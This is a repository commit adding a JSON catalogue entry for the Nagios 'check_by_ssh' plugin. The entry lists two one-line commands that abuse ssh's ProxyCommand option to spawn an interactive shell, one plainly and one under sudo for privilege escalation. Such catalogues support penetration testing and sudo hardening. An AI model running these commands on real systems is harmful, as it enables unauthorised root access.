add data source for check_by_ssh
parent
938d30a3ab
commit
1e41ec20da
@ -0,0 +1,17 @@
|
|||||||
|
{
|
||||||
|
"description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n",
|
||||||
|
"functions": {
|
||||||
|
"shell": [
|
||||||
|
{
|
||||||
|
"description": "The shell will only last 10 seconds.",
|
||||||
|
"code": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"sudo": [
|
||||||
|
{
|
||||||
|
"description": "The shell will only last 10 seconds.",
|
||||||
|
"code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue